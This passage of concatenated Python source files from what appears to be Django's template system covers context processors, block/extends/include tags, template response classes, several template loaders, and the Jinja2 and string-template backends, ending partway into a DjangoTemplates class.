        'LANGUAGE_CODE': translation.get_language(),
        'LANGUAGE_BIDI': translation.get_language_bidi(),
    }


def tz(request):
    from django.utils import timezone
    return {'TIME_ZONE': timezone.get_current_timezone_name()}


def static(request):
    """
    Adds static-related context variables to the context.
    """
    return {'STATIC_URL': settings.STATIC_URL}


def media(request):
    """
    Adds media-related context variables to the context.
    """
    return {'MEDIA_URL': settings.MEDIA_URL}


def request(request):
    return {'request': request}






import logging
import posixpath
from collections import defaultdict

from django.utils import six
from django.utils.safestring import mark_safe

from .base import (
    Node, Template, TemplateSyntaxError, TextNode, Variable, token_kwargs,
)
from .library import Library

register = Library()

BLOCK_CONTEXT_KEY = 'block_context'

logger = logging.getLogger('django.template')


class ExtendsError(Exception):
    pass


class BlockContext(object):
    def __init__(self):
        # Dictionary of FIFO queues.
        self.blocks = defaultdict(list)

    def add_blocks(self, blocks):
        for name, block in six.iteritems(blocks):
            self.blocks[name].insert(0, block)

    def pop(self, name):
        try:
            return self.blocks[name].pop()
        except IndexError:
            return None

    def push(self, name, block):
        self.blocks[name].append(block)

    def get_block(self, name):
        try:
            return self.blocks[name][-1]
        except IndexError:
            return None


class BlockNode(Node):
    def __init__(self, name, nodelist, parent=None):
        self.name, self.nodelist, self.parent = name, nodelist, parent

    def __repr__(self):
        return "<Block Node: %s. Contents: %r>" % (self.name, self.nodelist)

    def render(self, context):
        block_context = context.render_context.get(BLOCK_CONTEXT_KEY)
        with context.push():
            if block_context is None:
                context['block'] = self
                result = self.nodelist.render(context)
            else:
                push = block = block_context.pop(self.name)
                if block is None:
                    block = self
                # Create new block so we can store context without thread-safety issues.
                block = type(self)(block.name, block.nodelist)
                block.context = context
                context['block'] = block
                result = block.nodelist.render(context)
                if push is not None:
                    block_context.push(self.name, push)
        return result

    def super(self):
        if not hasattr(self, 'context'):
            raise TemplateSyntaxError(
                "'%s' object has no attribute 'context'. Did you use "
                "{{ block.super }} in a base template?" % self.__class__.__name__
            )
        render_context = self.context.render_context
        if (BLOCK_CONTEXT_KEY in render_context and
                render_context[BLOCK_CONTEXT_KEY].get_block(self.name) is not None):
            return mark_safe(self.render(self.context))
        return ''


class ExtendsNode(Node):
    must_be_first = True
    context_key = 'extends_context'

    def __init__(self, nodelist, parent_name, template_dirs=None):
        self.nodelist = nodelist
        self.parent_name = parent_name
        self.template_dirs = template_dirs
        self.blocks = {n.name: n for n in nodelist.get_nodes_by_type(BlockNode)}

    def __repr__(self):
        return '<ExtendsNode: extends %s>' % self.parent_name.token

    def find_template(self, template_name, context):
        """
        This is a wrapper around engine.find_template(). A history is kept in
        the render_context attribute between successive extends calls and
        passed as the skip argument. This enables extends to work recursively
        without extending the same template twice.
        """
        # RemovedInDjango20Warning: If any non-recursive loaders are installed
        # do a direct template lookup. If the same template name appears twice,
        # raise an exception to avoid system recursion.
        for loader in context.template.engine.template_loaders:
            if not loader.supports_recursion:
                history = context.render_context.setdefault(
                    self.context_key, [context.template.origin.template_name],
                )
                if template_name in history:
                    raise ExtendsError(
                        "Cannot extend templates recursively when using "
                        "non-recursive template loaders",
                    )
                template = context.template.engine.get_template(template_name)
                history.append(template_name)
                return template

        history = context.render_context.setdefault(
            self.context_key, [context.template.origin],
        )
        template, origin = context.template.engine.find_template(
            template_name, skip=history,
        )
        history.append(origin)
        return template

    def get_parent(self, context):
        parent = self.parent_name.resolve(context)
        if not parent:
            error_msg = "Invalid template name in 'extends' tag: %r." % parent
            if self.parent_name.filters or\
                    isinstance(self.parent_name.var, Variable):
                error_msg += " Got this from the '%s' variable." %\
                    self.parent_name.token
            raise TemplateSyntaxError(error_msg)
        if isinstance(parent, Template):
            # parent is a django.template.Template
            return parent
        if isinstance(getattr(parent, 'template', None), Template):
            # parent is a django.template.backends.django.Template
            return parent.template
        return self.find_template(parent, context)

    def render(self, context):
        compiled_parent = self.get_parent(context)

        if BLOCK_CONTEXT_KEY not in context.render_context:
            context.render_context[BLOCK_CONTEXT_KEY] = BlockContext()
        block_context = context.render_context[BLOCK_CONTEXT_KEY]

        # Add the block nodes from this node to the block context
        block_context.add_blocks(self.blocks)

        # If this block's parent doesn't have an extends node it is the root,
        # and its block nodes also need to be added to the block context.
        for node in compiled_parent.nodelist:
            # The ExtendsNode has to be the first non-text node.
            if not isinstance(node, TextNode):
                if not isinstance(node, ExtendsNode):
                    blocks = {n.name: n for n in
                              compiled_parent.nodelist.get_nodes_by_type(BlockNode)}
                    block_context.add_blocks(blocks)
                break

        # Call Template._render explicitly so the parser context stays
        # the same.
        return compiled_parent._render(context)


class IncludeNode(Node):
    context_key = '__include_context'

    def __init__(self, template, *args, **kwargs):
        self.template = template
        self.extra_context = kwargs.pop('extra_context', {})
        self.isolated_context = kwargs.pop('isolated_context', False)
        super(IncludeNode, self).__init__(*args, **kwargs)

    def render(self, context):
        """
        Render the specified template and context. Cache the template object
        in render_context to avoid reparsing and loading when used in a for
        loop.
        """
        try:
            template = self.template.resolve(context)
            # Does this quack like a Template?
            if not callable(getattr(template, 'render', None)):
                # If not, we'll try our cache, and get_template()
                template_name = template
                cache = context.render_context.setdefault(self.context_key, {})
                template = cache.get(template_name)
                if template is None:
                    template = context.template.engine.get_template(template_name)
                    cache[template_name] = template
            values = {
                name: var.resolve(context)
                for name, var in six.iteritems(self.extra_context)
            }
            if self.isolated_context:
                return template.render(context.new(values))
            with context.push(**values):
                return template.render(context)
        except Exception:
            if context.template.engine.debug:
                raise
            template_name = getattr(context, 'template_name', None) or 'unknown'
            logger.warning(
                "Exception raised while rendering {%% include %%} for "
                "template '%s'. Empty string rendered instead.",
                template_name,
                exc_info=True,
            )
            return ''


@register.tag('block')
def do_block(parser, token):
    """
    Define a block that can be overridden by child templates.
    """
    # token.split_contents() isn't useful here because this tag doesn't accept variable as arguments
    bits = token.contents.split()
    if len(bits) != 2:
        raise TemplateSyntaxError("'%s' tag takes only one argument" % bits[0])
    block_name = bits[1]
    # Keep track of the names of BlockNodes found in this template, so we can
    # check for duplication.
    try:
        if block_name in parser.__loaded_blocks:
            raise TemplateSyntaxError("'%s' tag with name '%s' appears more than once" % (bits[0], block_name))
        parser.__loaded_blocks.append(block_name)
    except AttributeError:  # parser.__loaded_blocks isn't a list yet
        parser.__loaded_blocks = [block_name]
    nodelist = parser.parse(('endblock',))

    # This check is kept for backwards-compatibility. See #3100.
    endblock = parser.next_token()
    acceptable_endblocks = ('endblock', 'endblock %s' % block_name)
    if endblock.contents not in acceptable_endblocks:
        parser.invalid_block_tag(endblock, 'endblock', acceptable_endblocks)

    return BlockNode(block_name, nodelist)


def construct_relative_path(current_template_name, relative_name):
    """
    Convert a relative path (starting with './' or '../') to the full template
    name based on the current_template_name.
    """
    if not any(relative_name.startswith(x) for x in ["'./", "'../", '"./', '"../']):
        # relative_name is a variable or a literal that doesn't contain a
        # relative path.
        return relative_name

    new_name = posixpath.normpath(
        posixpath.join(
            posixpath.dirname(current_template_name.lstrip('/')),
            relative_name.strip('\'"')
        )
    )
    if new_name.startswith('../'):
        raise TemplateSyntaxError(
            "The relative path '%s' points outside the file hierarchy that "
            "template '%s' is in." % (relative_name, current_template_name)
        )
    if current_template_name.lstrip('/') == new_name:
        raise TemplateSyntaxError(
            "The relative path '%s' was translated to template name '%s', the "
            "same template in which the tag appears."
            % (relative_name, current_template_name)
        )
    return '"%s"' % new_name


@register.tag('extends')
def do_extends(parser, token):
    """
    Signal that this template extends a parent template.

    This tag may be used in two ways: ``{% extends "base" %}`` (with quotes)
    uses the literal value "base" as the name of the parent template to extend,
    or ``{% extends variable %}`` uses the value of ``variable`` as either the
    name of the parent template to extend (if it evaluates to a string) or as
    the parent template itself (if it evaluates to a Template object).
    """
    bits = token.split_contents()
    if len(bits) != 2:
        raise TemplateSyntaxError("'%s' takes one argument" % bits[0])
    bits[1] = construct_relative_path(parser.origin.template_name, bits[1])
    parent_name = parser.compile_filter(bits[1])
    nodelist = parser.parse()
    if nodelist.get_nodes_by_type(ExtendsNode):
        raise TemplateSyntaxError("'%s' cannot appear more than once in the same template" % bits[0])
    return ExtendsNode(nodelist, parent_name)


@register.tag('include')
def do_include(parser, token):
    """
    Loads a template and renders it with the current context. You can pass
    additional context using keyword arguments.

    Example::

        {% include "foo/some_include" %}
        {% include "foo/some_include" with bar="BAZZ!" baz="BING!" %}

    Use the ``only`` argument to exclude the current context when rendering
    the included template::

        {% include "foo/some_include" only %}
        {% include "foo/some_include" with bar="1" only %}
    """
    bits = token.split_contents()
    if len(bits) < 2:
        raise TemplateSyntaxError(
            "%r tag takes at least one argument: the name of the template to "
            "be included." % bits[0]
        )
    options = {}
    remaining_bits = bits[2:]
    while remaining_bits:
        option = remaining_bits.pop(0)
        if option in options:
            raise TemplateSyntaxError('The %r option was specified more '
                                      'than once.' % option)
        if option == 'with':
            value = token_kwargs(remaining_bits, parser, support_legacy=False)
            if not value:
                raise TemplateSyntaxError('"with" in %r tag needs at least '
                                          'one keyword argument.' % bits[0])
        elif option == 'only':
            value = True
        else:
            raise TemplateSyntaxError('Unknown argument for %r tag: %r.' %
                                      (bits[0], option))
        options[option] = value
    isolated_context = options.get('only', False)
    namemap = options.get('with', {})
    bits[1] = construct_relative_path(parser.origin.template_name, bits[1])
    return IncludeNode(parser.compile_filter(bits[1]), extra_context=namemap,
                       isolated_context=isolated_context)






from django.http import HttpResponse
from django.utils import six

from .loader import get_template, select_template


class ContentNotRenderedError(Exception):
    pass


class SimpleTemplateResponse(HttpResponse):
    rendering_attrs = ['template_name', 'context_data', '_post_render_callbacks']

    def __init__(self, template, context=None, content_type=None, status=None,
                 charset=None, using=None):
        # It would seem obvious to call these next two members 'template' and
        # 'context', but those names are reserved as part of the test Client
        # API. To avoid the name collision, we use different names.
        self.template_name = template
        self.context_data = context

        self.using = using

        self._post_render_callbacks = []

        # _request stores the current request object in subclasses that know
        # about requests, like TemplateResponse. It's defined in the base class
        # to minimize code duplication.
        # It's called self._request because self.request gets overwritten by
        # django.test.client.Client. Unlike template_name and context_data,
        # _request should not be considered part of the public API.
        self._request = None

        # content argument doesn't make sense here because it will be replaced
        # with rendered template so we always pass empty string in order to
        # prevent errors and provide shorter signature.
        super(SimpleTemplateResponse, self).__init__('', content_type, status, charset)

        # _is_rendered tracks whether the template and context has been baked
        # into a final response.
        # Super __init__ doesn't know any better than to set self.content to
        # the empty string we just gave it, which wrongly sets _is_rendered
        # True, so we initialize it to False after the call to super __init__.
        self._is_rendered = False

    def __getstate__(self):
        """Pickling support function.

        Ensures that the object can't be pickled before it has been
        rendered, and that the pickled state only includes rendered
        data, not the data used to construct the response.
        """
        obj_dict = self.__dict__.copy()
        if not self._is_rendered:
            raise ContentNotRenderedError('The response content must be '
                                          'rendered before it can be pickled.')
        for attr in self.rendering_attrs:
            if attr in obj_dict:
                del obj_dict[attr]

        return obj_dict

    def resolve_template(self, template):
        "Accepts a template object, path-to-template or list of paths"
        if isinstance(template, (list, tuple)):
            return select_template(template, using=self.using)
        elif isinstance(template, six.string_types):
            return get_template(template, using=self.using)
        else:
            return template

    def resolve_context(self, context):
        return context

    @property
    def rendered_content(self):
        """Returns the freshly rendered content for the template and context
        described by the TemplateResponse.

        This *does not* set the final content of the response. To set the
        response content, you must either call render(), or set the
        content explicitly using the value of this property.
        """
        template = self.resolve_template(self.template_name)
        context = self.resolve_context(self.context_data)
        content = template.render(context, self._request)
        return content

    def add_post_render_callback(self, callback):
        """Adds a new post-rendering callback.

        If the response has already been rendered,
        invoke the callback immediately.
        """
        if self._is_rendered:
            callback(self)
        else:
            self._post_render_callbacks.append(callback)

    def render(self):
        """Renders (thereby finalizing) the content of the response.

        If the content has already been rendered, this is a no-op.

        Returns the baked response instance.
        """
        retval = self
        if not self._is_rendered:
            self.content = self.rendered_content
            for post_callback in self._post_render_callbacks:
                newretval = post_callback(retval)
                if newretval is not None:
                    retval = newretval
        return retval

    @property
    def is_rendered(self):
        return self._is_rendered

    def __iter__(self):
        if not self._is_rendered:
            raise ContentNotRenderedError(
                'The response content must be rendered before it can be iterated over.'
            )
        return super(SimpleTemplateResponse, self).__iter__()

    @property
    def content(self):
        if not self._is_rendered:
            raise ContentNotRenderedError(
                'The response content must be rendered before it can be accessed.'
            )
        return super(SimpleTemplateResponse, self).content

    @content.setter
    def content(self, value):
        """Sets the content for the response
        """
        HttpResponse.content.fset(self, value)
        self._is_rendered = True


class TemplateResponse(SimpleTemplateResponse):
    rendering_attrs = SimpleTemplateResponse.rendering_attrs + ['_request']

    def __init__(self, request, template, context=None, content_type=None,
                 status=None, charset=None, using=None):
        super(TemplateResponse, self).__init__(
            template, context, content_type, status, charset, using)
        self._request = request






"""
Wrapper for loading templates from the filesystem.
"""

import errno
import io
import warnings

from django.core.exceptions import SuspiciousFileOperation
from django.template import Origin, TemplateDoesNotExist
from django.utils._os import safe_join
from django.utils.deprecation import RemovedInDjango20Warning

from .base import Loader as BaseLoader


class Loader(BaseLoader):

    def get_dirs(self):
        return self.engine.dirs

    def get_contents(self, origin):
        try:
            with io.open(origin.name, encoding=self.engine.file_charset) as fp:
                return fp.read()
        except IOError as e:
            if e.errno == errno.ENOENT:
                raise TemplateDoesNotExist(origin)
            raise

    def get_template_sources(self, template_name, template_dirs=None):
        """
        Return an Origin object pointing to an absolute path in each directory
        in template_dirs. For security reasons, if a path doesn't lie inside
        one of the template_dirs it is excluded from the result set.
        """
        if not template_dirs:
            template_dirs = self.get_dirs()
        for template_dir in template_dirs:
            try:
                name = safe_join(template_dir, template_name)
            except SuspiciousFileOperation:
                # The joined path was located outside of this template_dir
                # (it might be inside another one, so this isn't fatal).
                continue

            yield Origin(
                name=name,
                template_name=template_name,
                loader=self,
            )

    def load_template_source(self, template_name, template_dirs=None):
        warnings.warn(
            'The load_template_sources() method is deprecated. Use '
            'get_template() or get_contents() instead.',
            RemovedInDjango20Warning,
        )
        for origin in self.get_template_sources(template_name, template_dirs):
            try:
                return self.get_contents(origin), origin.name
            except TemplateDoesNotExist:
                pass
        raise TemplateDoesNotExist(template_name)






"""
Wrapper for loading templates from a plain Python dict.
"""

import warnings

from django.template import Origin, TemplateDoesNotExist
from django.utils.deprecation import RemovedInDjango20Warning

from .base import Loader as BaseLoader


class Loader(BaseLoader):

    def __init__(self, engine, templates_dict):
        self.templates_dict = templates_dict
        super(Loader, self).__init__(engine)

    def get_contents(self, origin):
        try:
            return self.templates_dict[origin.name]
        except KeyError:
            raise TemplateDoesNotExist(origin)

    def get_template_sources(self, template_name):
        yield Origin(
            name=template_name,
            template_name=template_name,
            loader=self,
        )

    def load_template_source(self, template_name, template_dirs=None):
        warnings.warn(
            'The load_template_sources() method is deprecated. Use '
            'get_template() or get_contents() instead.',
            RemovedInDjango20Warning,
        )
        try:
            return self.templates_dict[template_name], template_name
        except KeyError:
            raise TemplateDoesNotExist(template_name)






# Wrapper for loading templates from eggs via pkg_resources.resource_string.
from __future__ import unicode_literals

import warnings

from django.apps import apps
from django.template import Origin, TemplateDoesNotExist
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning

from .base import Loader as BaseLoader

try:
    from pkg_resources import resource_string
except ImportError:
    resource_string = None

warnings.warn('The egg template loader is deprecated.', RemovedInDjango20Warning)


class EggOrigin(Origin):

    def __init__(self, app_name, pkg_name, *args, **kwargs):
        self.app_name = app_name
        self.pkg_name = pkg_name
        super(EggOrigin, self).__init__(*args, **kwargs)


class Loader(BaseLoader):

    def __init__(self, engine):
        if resource_string is None:
            raise RuntimeError("Setuptools must be installed to use the egg loader")
        super(Loader, self).__init__(engine)

    def get_contents(self, origin):
        try:
            source = resource_string(origin.app_name, origin.pkg_name)
        except Exception:
            raise TemplateDoesNotExist(origin)

        if six.PY2:
            source = source.decode(self.engine.file_charset)

        return source

    def get_template_sources(self, template_name):
        pkg_name = 'templates/' + template_name
        for app_config in apps.get_app_configs():
            yield EggOrigin(
                app_name=app_config.name,
                pkg_name=pkg_name,
                name="egg:%s:%s" % (app_config.name, pkg_name),
                template_name=template_name,
                loader=self,
            )

    def load_template_source(self, template_name, template_dirs=None):
        """
        Loads templates from Python eggs via pkg_resource.resource_string.

        For every installed app, it tries to get the resource (app, template_name).
        """
        warnings.warn(
            'The load_template_sources() method is deprecated. Use '
            'get_template() or get_contents() instead.',
            RemovedInDjango20Warning,
        )
        for origin in self.get_template_sources(template_name):
            try:
                return self.get_contents(origin), origin.name
            except TemplateDoesNotExist:
                pass
        raise TemplateDoesNotExist(template_name)






import warnings

from django.template import Origin, Template, TemplateDoesNotExist
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.inspect import func_supports_parameter


class Loader(object):

    def __init__(self, engine):
        self.engine = engine

    def __call__(self, template_name, template_dirs=None):
        # RemovedInDjango20Warning: Allow loaders to be called like functions.
        return self.load_template(template_name, template_dirs)

    def get_template(self, template_name, template_dirs=None, skip=None):
        """
        Calls self.get_template_sources() and returns a Template object for
        the first template matching template_name. If skip is provided,
        template origins in skip are ignored. This is used to avoid recursion
        during template extending.
        """
        tried = []

        args = [template_name]
        # RemovedInDjango20Warning: Add template_dirs for compatibility with
        # old loaders
        if func_supports_parameter(self.get_template_sources, 'template_dirs'):
            args.append(template_dirs)

        for origin in self.get_template_sources(*args):
            if skip is not None and origin in skip:
                tried.append((origin, 'Skipped'))
                continue

            try:
                contents = self.get_contents(origin)
            except TemplateDoesNotExist:
                tried.append((origin, 'Source does not exist'))
                continue
            else:
                return Template(
                    contents, origin, origin.template_name, self.engine,
                )

        raise TemplateDoesNotExist(template_name, tried=tried)

    def load_template(self, template_name, template_dirs=None):
        warnings.warn(
            'The load_template() method is deprecated. Use get_template() '
            'instead.', RemovedInDjango20Warning,
        )
        source, display_name = self.load_template_source(
            template_name, template_dirs,
        )
        origin = Origin(
            name=display_name,
            template_name=template_name,
            loader=self,
        )
        try:
            template = Template(source, origin, template_name, self.engine)
        except TemplateDoesNotExist:
            # If compiling the template we found raises TemplateDoesNotExist,
            # back off to returning the source and display name for the
            # template we were asked to load. This allows for correct
            # identification of the actual template that does not exist.
            return source, display_name
        else:
            return template, None

    def get_template_sources(self, template_name):
        """
        An iterator that yields possible matching template paths for a
        template name.
        """
        raise NotImplementedError(
            'subclasses of Loader must provide a get_template_sources() method'
        )

    def load_template_source(self, template_name, template_dirs=None):
        """
        RemovedInDjango20Warning: Returns a tuple containing the source and
        origin for the given template name.
        """
        raise NotImplementedError(
            'subclasses of Loader must provide a load_template_source() method'
        )

    def reset(self):
        """
        Resets any state maintained by the loader instance (e.g. cached
        templates or cached loader modules).
        """
        pass

    @property
    def supports_recursion(self):
        """
        RemovedInDjango20Warning: This is an internal property used by the
        ExtendsNode during the deprecation of non-recursive loaders.
        """
        return hasattr(self, 'get_contents')












"""
Wrapper for loading templates from "templates" directories in INSTALLED_APPS
packages.
"""

from django.template.utils import get_app_template_dirs

from .filesystem import Loader as FilesystemLoader


class Loader(FilesystemLoader):

    def get_dirs(self):
        return get_app_template_dirs('templates')






"""
Wrapper class that takes a list of template loaders as an argument and attempts
to load templates from them in order, caching the result.
"""

import hashlib
import warnings

from django.template import Origin, Template, TemplateDoesNotExist
from django.template.backends.django import copy_exception
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_bytes, force_text
from django.utils.inspect import func_supports_parameter

from .base import Loader as BaseLoader


class Loader(BaseLoader):

    def __init__(self, engine, loaders):
        self.template_cache = {}
        self.find_template_cache = {}  # RemovedInDjango20Warning
        self.get_template_cache = {}
        self.loaders = engine.get_template_loaders(loaders)
        super(Loader, self).__init__(engine)

    def get_contents(self, origin):
        return origin.loader.get_contents(origin)

    def get_template(self, template_name, template_dirs=None, skip=None):
        """
        Perform the caching that gives this loader its name. Often many of the
        templates attempted will be missing, so memory use is of concern here.
        To keep it in check, caching behavior is a little complicated when a
        template is not found. See ticket #26306 for more details.

        With template debugging disabled, cache the TemplateDoesNotExist class
        for every missing template and raise a new instance of it after
        fetching it from the cache.

        With template debugging enabled, a unique TemplateDoesNotExist object
        is cached for each missing template to preserve debug data. When
        raising an exception, Python sets __traceback__, __context__, and
        __cause__ attributes on it. Those attributes can contain references to
        all sorts of objects up the call chain and caching them creates a
        memory leak. Thus, unraised copies of the exceptions are cached and
        copies of those copies are raised after they're fetched from the cache.
        """
        key = self.cache_key(template_name, template_dirs, skip)
        cached = self.get_template_cache.get(key)
        if cached:
            if isinstance(cached, type) and issubclass(cached, TemplateDoesNotExist):
                raise cached(template_name)
            elif isinstance(cached, TemplateDoesNotExist):
                raise copy_exception(cached)
            return cached

        try:
            template = super(Loader, self).get_template(
                template_name, template_dirs, skip,
            )
        except TemplateDoesNotExist as e:
            self.get_template_cache[key] = copy_exception(e) if self.engine.debug else TemplateDoesNotExist
            raise
        else:
            self.get_template_cache[key] = template

        return template

    def get_template_sources(self, template_name, template_dirs=None):
        for loader in self.loaders:
            args = [template_name]
            # RemovedInDjango20Warning: Add template_dirs for compatibility
            # with old loaders
            if func_supports_parameter(loader.get_template_sources, 'template_dirs'):
                args.append(template_dirs)
            for origin in loader.get_template_sources(*args):
                yield origin

    def cache_key(self, template_name, template_dirs, skip=None):
        """
        Generate a cache key for the template name, dirs, and skip.

        If skip is provided, only origins that match template_name are included
        in the cache key. This ensures each template is only parsed and cached
        once if contained in different extend chains like:

            x -> a -> a
            y -> a -> a
            z -> a -> a
        """
        dirs_prefix = ''
        skip_prefix = ''

        if skip:
            matching = [origin.name for origin in skip if origin.template_name == template_name]
            if matching:
                skip_prefix = self.generate_hash(matching)

        if template_dirs:
            dirs_prefix = self.generate_hash(template_dirs)

        return '-'.join(filter(bool, [force_text(template_name), skip_prefix, dirs_prefix]))

    def generate_hash(self, values):
        return hashlib.sha1(force_bytes('|'.join(values))).hexdigest()

    @property
    def supports_recursion(self):
        """
        RemovedInDjango20Warning: This is an internal property used by the
        ExtendsNode during the deprecation of non-recursive loaders.
        """
        return all(hasattr(loader, 'get_contents') for loader in self.loaders)

    def find_template(self, name, dirs=None):
        """
        RemovedInDjango20Warning: An internal method to lookup the template
        name in all the configured loaders.
        """
        key = self.cache_key(name, dirs)
        try:
            result = self.find_template_cache[key]
        except KeyError:
            result = None
            for loader in self.loaders:
                try:
                    template, display_name = loader(name, dirs)
                except TemplateDoesNotExist:
                    pass
                else:
                    origin = Origin(
                        name=display_name,
                        template_name=name,
                        loader=loader,
                    )
                    result = template, origin
                    break
        self.find_template_cache[key] = result
        if result:
            return result
        else:
            self.template_cache[key] = TemplateDoesNotExist
            raise TemplateDoesNotExist(name)

    def load_template(self, template_name, template_dirs=None):
        warnings.warn(
            'The load_template() method is deprecated. Use get_template() '
            'instead.', RemovedInDjango20Warning,
        )
        key = self.cache_key(template_name, template_dirs)
        template_tuple = self.template_cache.get(key)
        # A cached previous failure:
        if template_tuple is TemplateDoesNotExist:
            raise TemplateDoesNotExist(template_name)
        elif template_tuple is None:
            template, origin = self.find_template(template_name, template_dirs)
            if not hasattr(template, 'render'):
                try:
                    template = Template(template, origin, template_name, self.engine)
                except TemplateDoesNotExist:
                    # If compiling the template we found raises TemplateDoesNotExist,
                    # back off to returning the source and display name for the template
                    # we were asked to load. This allows for correct identification (later)
                    # of the actual template that does not exist.
                    self.template_cache[key] = (template, origin)
            self.template_cache[key] = (template, None)
        return self.template_cache[key]

    def reset(self):
        "Empty the template cache."
        self.template_cache.clear()
        self.find_template_cache.clear()  # RemovedInDjango20Warning
        self.get_template_cache.clear()






# Since this package contains a "django" module, this is required on Python 2.
from __future__ import absolute_import

import sys

import jinja2

from django.conf import settings
from django.template import TemplateDoesNotExist, TemplateSyntaxError
from django.utils import six
from django.utils.functional import cached_property
from django.utils.module_loading import import_string

from .base import BaseEngine
from .utils import csrf_input_lazy, csrf_token_lazy


class Jinja2(BaseEngine):

    app_dirname = 'jinja2'

    def __init__(self, params):
        params = params.copy()
        options = params.pop('OPTIONS').copy()
        super(Jinja2, self).__init__(params)

        self.context_processors = options.pop('context_processors', [])

        environment = options.pop('environment', 'jinja2.Environment')
        environment_cls = import_string(environment)

        if 'loader' not in options:
            options['loader'] = jinja2.FileSystemLoader(self.template_dirs)
        options.setdefault('autoescape', True)
        options.setdefault('auto_reload', settings.DEBUG)
        options.setdefault('undefined',
                           jinja2.DebugUndefined if settings.DEBUG else jinja2.Undefined)

        self.env = environment_cls(**options)

    def from_string(self, template_code):
        return Template(self.env.from_string(template_code), self)

    def get_template(self, template_name):
        try:
            return Template(self.env.get_template(template_name), self)
        except jinja2.TemplateNotFound as exc:
            six.reraise(
                TemplateDoesNotExist,
                TemplateDoesNotExist(exc.name, backend=self),
                sys.exc_info()[2],
            )
        except jinja2.TemplateSyntaxError as exc:
            new = TemplateSyntaxError(exc.args)
            new.template_debug = get_exception_info(exc)
            six.reraise(TemplateSyntaxError, new, sys.exc_info()[2])

    @cached_property
    def template_context_processors(self):
        return [import_string(path) for path in self.context_processors]


class Template(object):

    def __init__(self, template, backend):
        self.template = template
        self.backend = backend
        self.origin = Origin(
            name=template.filename, template_name=template.name,
        )

    def render(self, context=None, request=None):
        if context is None:
            context = {}
        if request is not None:
            context['request'] = request
            context['csrf_input'] = csrf_input_lazy(request)
            context['csrf_token'] = csrf_token_lazy(request)
            for context_processor in self.backend.template_context_processors:
                context.update(context_processor(request))
        return self.template.render(context)


class Origin(object):
    """
    A container to hold debug information as described in the template API
    documentation.
    """
    def __init__(self, name, template_name):
        self.name = name
        self.template_name = template_name


def get_exception_info(exception):
    """
    Formats exception information for display on the debug page using the
    structure described in the template API documentation.
    """
    context_lines = 10
    lineno = exception.lineno
    lines = list(enumerate(exception.source.strip().split("\n"), start=1))
    during = lines[lineno - 1][1]
    total = len(lines)
    top = max(0, lineno - context_lines - 1)
    bottom = min(total, lineno + context_lines)

    return {
        'name': exception.filename,
        'message': exception.message,
        'source_lines': lines[top:bottom],
        'line': lineno,
        'before': '',
        'during': during,
        'after': '',
        'total': total,
        'top': top,
        'bottom': bottom,
    }






# Since this package contains a "django" module, this is required on Python 2.
from __future__ import absolute_import

from django.core.exceptions import (
    ImproperlyConfigured, SuspiciousFileOperation,
)
from django.template.utils import get_app_template_dirs
from django.utils._os import safe_join
from django.utils.functional import cached_property


class BaseEngine(object):

    # Core methods: engines have to provide their own implementation
    #               (except for from_string which is optional).

    def __init__(self, params):
        """
        Initializes the template engine.

        Receives the configuration settings as a dict.
        """
        params = params.copy()
        self.name = params.pop('NAME')
        self.dirs = list(params.pop('DIRS'))
        self.app_dirs = bool(params.pop('APP_DIRS'))
        if params:
            raise ImproperlyConfigured(
                "Unknown parameters: {}".format(", ".join(params)))

    @property
    def app_dirname(self):
        raise ImproperlyConfigured(
            "{} doesn't support loading templates from installed "
            "applications.".format(self.__class__.__name__))

    def from_string(self, template_code):
        """
        Creates and returns a template for the given source code.

        This method is optional.
        """
        raise NotImplementedError(
            "subclasses of BaseEngine should provide "
            "a from_string() method")

    def get_template(self, template_name):
        """
        Loads and returns a template for the given name.

        Raises TemplateDoesNotExist if no such template exists.
        """
        raise NotImplementedError(
            "subclasses of BaseEngine must provide "
            "a get_template() method")

    # Utility methods: they are provided to minimize code duplication and
    #                  security issues in third-party backends.

    @cached_property
    def template_dirs(self):
        """
        Returns a list of directories to search for templates.
        """
        # Immutable return value because it's cached and shared by callers.
        template_dirs = tuple(self.dirs)
        if self.app_dirs:
            template_dirs += get_app_template_dirs(self.app_dirname)
        return template_dirs

    def iter_template_filenames(self, template_name):
        """
        Iterates over candidate files for template_name.

        Ignores files that don't lie inside configured template dirs to avoid
        directory traversal attacks.
        """
        for template_dir in self.template_dirs:
            try:
                yield safe_join(template_dir, template_name)
            except SuspiciousFileOperation:
                # The joined path was located outside of this template_dir
                # (it might be inside another one, so this isn't fatal).
                pass












# Since this package contains a "django" module, this is required on Python 2.
from __future__ import absolute_import

import errno
import io
import string

from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.template import Origin, TemplateDoesNotExist
from django.utils.html import conditional_escape

from .base import BaseEngine
from .utils import csrf_input_lazy, csrf_token_lazy


class TemplateStrings(BaseEngine):

    app_dirname = 'template_strings'

    def __init__(self, params):
        params = params.copy()
        options = params.pop('OPTIONS').copy()
        if options:
            raise ImproperlyConfigured(
                "Unknown options: {}".format(", ".join(options)))
        super(TemplateStrings, self).__init__(params)

    def from_string(self, template_code):
        return Template(template_code)

    def get_template(self, template_name):
        tried = []
        for template_file in self.iter_template_filenames(template_name):
            try:
                with io.open(template_file, encoding=settings.FILE_CHARSET) as fp:
                    template_code = fp.read()
            except IOError as e:
                if e.errno == errno.ENOENT:
                    tried.append((
                        Origin(template_file, template_name, self),
                        'Source does not exist',
                    ))
                    continue
                raise

            return Template(template_code)

        else:
            raise TemplateDoesNotExist(template_name, tried=tried, backend=self)


class Template(string.Template):

    def render(self, context=None, request=None):
        if context is None:
            context = {}
        else:
            context = {k: conditional_escape(v) for k, v in context.items()}
        if request is not None:
            context['csrf_input'] = csrf_input_lazy(request)
            context['csrf_token'] = csrf_token_lazy(request)
        return self.safe_substitute(context)






# Since this package contains a "django" module, this is required on Python 2.
from __future__ import absolute_import

from django.middleware.csrf import get_token
from django.utils.functional import lazy
from django.utils.html import format_html
from django.utils.safestring import SafeText


def csrf_input(request):
    return format_html(
        '<input type="hidden" name="csrfmiddlewaretoken" value="{}" />',
        get_token(request))


csrf_input_lazy = lazy(csrf_input, SafeText, str)
csrf_token_lazy = lazy(get_token, str)






# Since this package contains a "django" module, this is required on Python 2.
from __future__ import absolute_import

import sys
from importlib import import_module
from pkgutil import walk_packages

from django.apps import apps
from django.conf import settings
from django.template import TemplateDoesNotExist
from django.template.context import make_context
from django.template.engine import Engine
from django.template.library import InvalidTemplateLibrary
from django.utils import six

from .base import BaseEngine


class DjangoTemplates(BaseEngine):

